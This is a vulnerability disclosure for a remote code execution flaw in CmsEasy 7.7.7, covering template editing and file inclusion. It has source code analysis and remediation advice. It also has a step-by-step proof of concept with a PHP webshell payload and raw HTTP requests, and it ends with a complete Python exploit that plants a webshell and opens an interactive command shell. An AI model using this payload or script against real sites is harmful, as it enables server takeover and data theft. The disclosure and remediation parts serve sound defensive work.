Logo CmsEasy 7.7.7 - Template Edit Remote Code Execution Vulnerability

CmsEasy 7.7.7 - Template Edit Remote Code Execution Vulnerability

CmsEasy 7.7.7 - Template Edit Remote Code Execution Vulnerability

BUG_Author: yu22x

Affected version: CmsEasy 7.7.7

Vendor: https://www.cmseasy.cn/

Software: https://www.cmseasy.cn/download/

Vulnerability File:

/lib/admin/template_admin.php

/lib/inc/view.php

Description

CmsEasy version 7.7.7 contains a remote code execution vulnerability in the backend template management module. An authenticated administrator can edit template files to inject malicious PHP code, which will be written to the /data/template/ directory. By accessing the website with the "pageset=1" parameter, the system loads templates from the /data/template/ directory and executes the injected PHP code via the include function, leading to remote code execution.

Vulnerability Details

The vulnerability exists in the template editing functionality. When an administrator saves a template through the "savetemp_action" function, the system writes the template content to both /template/ and /data/template/ directories without sanitizing PHP code. The saveCache() function writes user-controlled content directly to /data/template/{template_dir}/{name}.html. When a user accesses any page with the "pageset=1" parameter, the fetch() function in view.php loads templates from /data/template/ instead of /template/, and the _eval() function uses PHP's include statement to execute the template file, resulting in arbitrary code execution.

Proof of Concept

Step 1: Login to Admin Panel

Navigate to the backend login page and authenticate as administrator:

URL: http://target.com/index.php?case=admin&act=login&admin_dir=admin

Step 2: Access Template Management

Navigate to the template management page:

URL: http://target.com/index.php?case=template&act=visual&admin_dir=admin

Or find "Template" -> "Template Management" in the left sidebar menu.

Step 3: Edit Template and Inject Malicious Code

Edit the index template (index/index.html) and inject the following PHP payload:

<?php file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');echo 'RCE_SUCCESS';?>

Click the "Save" button to save the template.

Alternatively, send the following HTTP request directly:

POST /index.php?admin_dir=admin&case=template&act=savetemp HTTP/1.1 Host: target.com Cookie: PHPSESSID=xxx; login_username=admin; login_password=xxx Content-Type: application/x-www-form-urlencoded

name=index-index&content=<?php file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');echo 'RCE_SUCCESS';?>&tempdata=test

Step 4: Trigger the Vulnerability

Access the homepage with the "pageset=1" parameter to trigger the file inclusion:

URL: http://target.com/index.php?case=index&act=index&pageset=1

The page will display "RCE_SUCCESS" and create a webshell file "shell.php" in the web root directory.

Step 5: Access Webshell

Access the generated webshell:

URL: http://target.com/shell.php

Send POST request with command:

cmd=system('whoami');

Source Code Analysis

During the security audit, I discovered a dangerous file write operation in the saveCache function:

File: /lib/admin/template_admin.php (Line 280-287)

function saveCache($dir, $name, $data)
{
   $file = ROOT . '/data/template/' . $dir . '/' . str_replace('-', '/', $name) . '.html';
   if (!is_dir(dirname($file))) {
       tool::mkdir(dirname($file));
  }
   return file_put_contents($file, $data);  // User input written directly without filtering
}

Tracing the usage of this saveCache method:

File: /lib/admin/template_admin.php (Line 358-430)

function savetemp_action()
{
   front::$post['content'] = stripslashes(htmlspecialchars_decode(htmlspecialchars_decode(front::$post['content'], ENT_QUOTES), ENT_QUOTES));
   front::$post['tempdata'] = stripslashes(htmlspecialchars_decode(htmlspecialchars_decode(front::$post['tempdata'], ENT_QUOTES), ENT_QUOTES));
   
   $dir = config::get('template_dir');
   // ...
   
   // Write to /data/template/ directory
   $cache = $this->saveCache($dir, front::$post['name'], front::$post['content']);
   // Write to /template/ directory  
   $temp = $this->saveTemp($dir, front::$post['name'], front::$post['tempdata'],$oldname,$iscopy);
}

The savetemp_action function writes user-controlled content to both directories. The content parameter is written to /data/template/ via saveCache(), and tempdata is written to /template/ via saveTemp().

The file inclusion vulnerability exists in the fetch function:

File: /lib/inc/view.php (Line 449-454)

elseif (front::get('pageset')){
   if (strpos($tpl,'shop') !== false){
       $file = ROOT . '/data/template/' . $tpl;
  }else{
       $file = ROOT . '/data/template/' . $this->_style . '/' . $tpl;
  }
}

When the "pageset" parameter is present, templates are loaded from /data/template/ instead of /template/.

The _eval function executes the template via include:

File: /lib/inc/view.php (Line 508-518)

function _eval($file = null,$static=false)
{
   foreach ($this as $var => $value) if (!preg_match('/^_/', $var))
       $$var = $value;
   if (is_object($this->_var))
       foreach ($this->_var as $var => $value) $$var = $value;

   $file=iconv("utf-8", "gbk",$file);
   ob_start();
   if ($file)
       include $file;  // PHP code in template gets executed here
   // ...
}

By saving a template with malicious PHP code and then accessing the page with "pageset=1":

The malicious template is loaded from /data/template/default2020/index/index.html and executed via include, resulting in remote code execution.

Verification Results

Accessing http://target.com/index.php?case=index&act=index&pageset=1 triggers the vulnerability:

Response contains: RCE_SUCCESS

Webshell created at: http://target.com/shell.php

Executing system command via webshell:

POST /shell.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded

cmd=system('whoami');

Response: yu22xca0b\yu22x

Impact

An attacker who successfully exploits this vulnerability can:

  1. Execute arbitrary PHP code on the web server

  2. Execute system commands with web server privileges

  3. Read, modify, or delete any files accessible to the web server

  4. Access sensitive data including database credentials

  5. Install backdoors for persistent access

  6. Completely compromise the affected system

Remediation

  1. Filter PHP code tags (<?php, <?, ?>, etc.) in template content before saving

  2. Restrict the "pageset" parameter to authenticated administrators only

  3. Use a template sandbox to prevent arbitrary code execution

  4. Implement Content Security Policy to limit template functionality

 

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CmsEasy 7.7.7 RCE Exploit
Vulnerability: Backend Template Edit File Write + File Inclusion -> Remote Code Execution (RCE)
Requirement: Administrator privileges required


 

Usage:
    python3 cmseasy_rce_exp.py -u http://target.com -c "PHPSESSID=xxx; login_username=admin; login_password=xxx"
    python3 cmseasy_rce_exp.py -u http://target.com -c "cookie_string" -s shell.php
    python3 cmseasy_rce_exp.py -u http://target.com -c "cookie_string" --cmd "whoami"
"""


 

import requests
import argparse
import sys
import re
import random
import string
from urllib.parse import urljoin


 

# Disable SSL warnings
requests.packages.urllib3.disable_warnings()


 

class CmsEasyExploit:
    def __init__(self, target_url, cookies_str, shell_name=None, timeout=10):
        """
        Initialize exploit class
        
        Args:
            target_url: Target URL
            cookies_str: Cookie string
            shell_name: Webshell filename
            timeout: Request timeout
        """
        self.target_url = target_url.rstrip('/')
        self.timeout = timeout
        self.cookies = self._parse_cookies(cookies_str)
        self.shell_name = shell_name or self._generate_shell_name()
        self.shell_password = 'cmd'
        self.session = requests.Session()
        self.session.verify = False
        self.session.cookies.update(self.cookies)
        
    def _parse_cookies(self, cookies_str):
        """Parse cookie string to dictionary"""
        cookies = {}
        if cookies_str:
            for item in cookies_str.split(';'):
                item = item.strip()
                if '=' in item:
                    key, value = item.split('=', 1)
                    cookies[key.strip()] = value.strip()
        return cookies
    
    def _generate_shell_name(self):
        """Generate random webshell filename"""
        random_str = ''.join(random.choices(string.ascii_lowercase, k=6))
        return f"{random_str}.php"
    
    def check_login(self):
        """Check if logged into admin panel"""
        print("[*] Checking admin login status...")
        
        try:
            url = urljoin(self.target_url, '/index.php?case=index&act=index&admin_dir=admin')
            resp = self.session.get(url, timeout=self.timeout)
            
            # Check if redirected to login page
            if 'act=login' in resp.url or '登录' in resp.text or 'login' in resp.text.lower():
                print("[-] Not logged in or invalid cookie")
                return False
            
            print("[+] Admin login status valid")
            return True
        except Exception as e:
            print(f"[-] Failed to check login status: {e}")
            return False
    
    def write_shell(self):
        """Write webshell to template file"""
        print("[*] Step 1: Writing malicious template file...")
        
        # Webshell code
        shell_code = f"<?php @eval($_POST['{self.shell_password}']);?>"
        
        # Payload to write to template - creates webshell when triggered
        payload = f"<?php file_put_contents('{self.shell_name}',base64_decode('{self._base64_encode(shell_code)}'));echo 'CMSEASY_RCE_SUCCESS';?>"
        
        url = urljoin(self.target_url, '/index.php?admin_dir=admin&case=template&act=savetemp')
        
        data = {
            'name': 'index-index',
            'content': payload,
            'tempdata': payload
        }
        
        try:
            resp = self.session.post(url, data=data, timeout=self.timeout)
            
            if '保存成功' in resp.text or 'success' in resp.text.lower() or '"message"' in resp.text:
                print("[+] Malicious template written successfully!")
                return True
            else:
                print(f"[-] Failed to write template: {resp.text[:200]}")
                return False
        except Exception as e:
            print(f"[-] Template write request failed: {e}")
            return False
    
    def _base64_encode(self, text):
        """Base64 encode"""
        import base64
        return base64.b64encode(text.encode()).decode()
    
    def trigger_exploit(self):
        """Trigger file inclusion to execute malicious code"""
        print("[*] Step 2: Triggering file inclusion to execute malicious code...")
        
        # Trigger loading template from /data/template/ directory via pageset=1 parameter
        url = urljoin(self.target_url, '/index.php?case=index&act=index&pageset=1')
        
        try:
            resp = self.session.get(url, timeout=self.timeout)
            
            if 'CMSEASY_RCE_SUCCESS' in resp.text:
                print("[+] Exploit triggered successfully! Webshell generated")
                return True
            else:
                print("[!] Trigger request sent, verifying...")
                return True  # Continue to verify
        except Exception as e:
            print(f"[-] Trigger request failed: {e}")
            return False
    
    def verify_shell(self):
        """Verify if webshell is accessible"""
        print("[*] Step 3: Verifying webshell...")
        
        shell_url = urljoin(self.target_url, f'/{self.shell_name}')
        
        try:
            # Send test command
            test_code = "echo 'SHELL_VERIFY_OK';"
            resp = self.session.post(shell_url, data={self.shell_password: test_code}, timeout=self.timeout)
            
            if 'SHELL_VERIFY_OK' in resp.text:
                print(f"[+] Webshell verified successfully!")
                print(f"[+] Shell URL: {shell_url}")
                print(f"[+] Shell Password: {self.shell_password}")
                return True
            else:
                # Try to check if file exists
                resp = self.session.get(shell_url, timeout=self.timeout)
                if resp.status_code == 200 and '404' not in resp.text:
                    print(f"[+] Webshell file exists: {shell_url}")
                    print(f"[+] Shell Password: {self.shell_password}")
                    return True
                else:
                    print(f"[-] Webshell verification failed, file may not be generated")
                    return False
        except Exception as e:
            print(f"[-] Webshell verification failed: {e}")
            return False
    
    def execute_command(self, command):
        """Execute system command"""
        shell_url = urljoin(self.target_url, f'/{self.shell_name}')
        
        try:
            php_code = f"system('{command}');"
            resp = self.session.post(shell_url, data={self.shell_password: php_code}, timeout=self.timeout)
            return resp.text
        except Exception as e:
            return f"Command execution failed: {e}"
    
    def interactive_shell(self):
        """Interactive shell mode"""
        shell_url = urljoin(self.target_url, f'/{self.shell_name}')
        print(f"\n[*] Entering interactive shell mode")
        print(f"[*] Shell URL: {shell_url}")
        print(f"[*] Type 'exit' or 'quit' to exit\n")
        
        while True:
            try:
                cmd = input("shell> ").strip()
                
                if not cmd:
                    continue
                    
                if cmd.lower() in ['exit', 'quit']:
                    print("[*] Exiting interactive shell")
                    break
                
                result = self.execute_command(cmd)
                print(result)
                
            except KeyboardInterrupt:
                print("\n[*] Exiting interactive shell")
                break
            except Exception as e:
                print(f"[-] Error: {e}")
    
    def exploit(self):
        """Execute full exploit chain"""
        print("=" * 60)
        print("CmsEasy 7.7.7 RCE Exploit")
        print("Vulnerability: Template Edit + File Inclusion -> RCE")
        print("=" * 60)
        print(f"[*] Target: {self.target_url}")
        print(f"[*] Webshell: {self.shell_name}")
        print()
        
        # Step 1: Check login status
        if not self.check_login():
            print("[-] Please provide valid admin cookies")
            return False
        
        # Step 2: Write malicious template
        if not self.write_shell():
            print("[-] Failed to write malicious template")
            return False
        
        # Step 3: Trigger exploit
        if not self.trigger_exploit():
            print("[-] Failed to trigger exploit")
            return False
        
        # Step 4: Verify webshell
        if not self.verify_shell():
            print("[-] Webshell verification failed")
            return False
        
        print()
        print("=" * 60)
        print("[+] Exploit successful!")
        print(f"[+] Webshell: {urljoin(self.target_url, '/' + self.shell_name)}")
        print(f"[+] Password: {self.shell_password}")
        print(f"[+] Usage: POST {self.shell_password}=phpcode")
        print("=" * 60)
        
        return True



 

def main():
    banner = """
    ╔═══════════════════════════════════════════════════════════╗
    ║           CmsEasy 7.7.7 RCE Exploit                       ║
    ║     Template Edit + File Inclusion -> RCE                 ║
    ╚═══════════════════════════════════════════════════════════╝
    """
    print(banner)
    
    parser = argparse.ArgumentParser(
        description='CmsEasy 7.7.7 RCE Exploit - Backend Template Edit File Write + File Inclusion Vulnerability',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Basic usage - Get webshell
  python3 %(prog)s -u http://target.com -c "PHPSESSID=xxx; login_username=admin; login_password=xxx"
  
  # Specify webshell filename
  python3 %(prog)s -u http://target.com -c "cookie_string" -s myshell.php
  
  # Execute command directly
  python3 %(prog)s -u http://target.com -c "cookie_string" --cmd "whoami"
  
  # Enter interactive shell
  python3 %(prog)s -u http://target.com -c "cookie_string" -i
        """
    )
    
    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://target.com)')
    parser.add_argument('-c', '--cookie', required=True, help='Admin cookie string')
    parser.add_argument('-s', '--shell', default=None, help='Webshell filename (default: random)')
    parser.add_argument('--cmd', default=None, help='System command to execute')
    parser.add_argument('-i', '--interactive', action='store_true', help='Enter interactive shell mode')
    parser.add_argument('-t', '--timeout', type=int, default=10, help='Request timeout (default: 10s)')
    
    args = parser.parse_args()
    
    # Create exploit instance
    exploit = CmsEasyExploit(
        target_url=args.url,
        cookies_str=args.cookie,
        shell_name=args.shell,
        timeout=args.timeout
    )
    
    # Execute exploit
    if exploit.exploit():
        # If command specified, execute it
        if args.cmd:
            print(f"\n[*] Executing command: {args.cmd}")
            result = exploit.execute_command(args.cmd)
            print(result)
        
        # If interactive mode specified, enter interactive shell
        if args.interactive:
            exploit.interactive_shell()
    else:
        print("\n[-] Exploit failed")
        sys.exit(1)



 

if __name__ == '__main__':
    main()